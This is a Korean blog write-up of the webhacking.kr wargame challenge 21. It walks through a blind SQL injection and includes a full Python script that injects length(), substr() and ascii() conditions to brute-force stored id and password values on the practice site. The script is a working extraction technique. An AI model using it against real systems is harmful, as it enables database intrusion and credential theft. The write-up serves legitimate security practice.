본문 바로가기
Wargame/webhacking.kr

webhacking.kr 21번

by morae23 2019. 1. 29.

[Blind SQL Injection]

 

 

21번 문제를 보면 다음과 같은 Blind SQL Injection 페이지를 볼 수 있다.

 

 



 

 

숫자를 입력했을 때 True가 나오는 것은 1, 2 정도인 것을 알 수 있다.

 

 



 

 

1, 2 이외의 숫자인 3을 넣었을 때는 False가 나온다.

 

 






 

 

또한 입력한 값은 no에 들어가고, id와 pw라는 column 이름을 알게 된다.

따라서 length()를 이용하여 no가 1, 2인 것에 대해 id와 pw의 길이를 각각 구할 수 있다. 또한 substr()과 ascii()를 이용하여 각 바이트에 해당하는 값들을 구할 수 있다.

 

 

Python을 이용하여 길이과 값을 구하면 아래와 같다.


 

 



 


 

따라서 blindsqlinjectionkk 로 인증하면 clear할 수 있다.

 

 








 

 

이 때 사용한 코드는 아래와 같다.

 

import requests, json, string

 

URL = "http://webhacking.kr/challenge/web/web-33/index.php"

cookies = {'PHPSESSID': [YOUR_SESSID]}

search = ""

answer = ""

         

 

def get_length(target, num):

          for i in range(100):

                    data = "length%28" + target + "%29%3d" + str(i)

                    URL = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=" + str(num) + "+and+" + data + "&id=&pw="

 

                    res = requests.post(URL, cookies=cookies)

                   

                    if "False" not in res.text:

                              break

 

          print "(" + str(num) + ")" + target + " length: " + str(i)

          return i

 

def get_value(target, num, len):

          answer = ""

 

          for i in range(1, len+1):

                    for j in string.ascii_lowercase + "0123456789" + "!@#$%^&*()_+=-.{}":

                              data = "ascii%28substr%28" + target + "%2C" + str(i) + "%2C1%29%29%3D" + str(ord(j))

                              URL = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=" + str(num) + "+and+" + data + "&id=&pw="

 

                              res = requests.post(URL, cookies=cookies)

                              if "False" not in res.text:

                                        break

                    #print j

                    answer += j

          print "(" + str(num) + ")" + target + " value: " + answer

 

id_len_one = get_length("id", 1)

pw_len_one = get_length("pw", 1)

id_len_two = get_length("id", 2)

pw_len_two = get_length("pw", 2)

 

get_value("id", 2, id_len_two)

get_value("pw", 2, pw_len_two)

 

 



'Wargame > webhacking.kr' 카테고리의 다른 글

webhacking.kr 5번  (0) 2019.01.29
webhacking.kr 46번  (0) 2019.01.29
webhacking.kr 10번  (0) 2019.01.29
webhacking.kr 12번  (0) 2019.01.29
webhacking.kr 56번  (0) 2019.01.29

댓글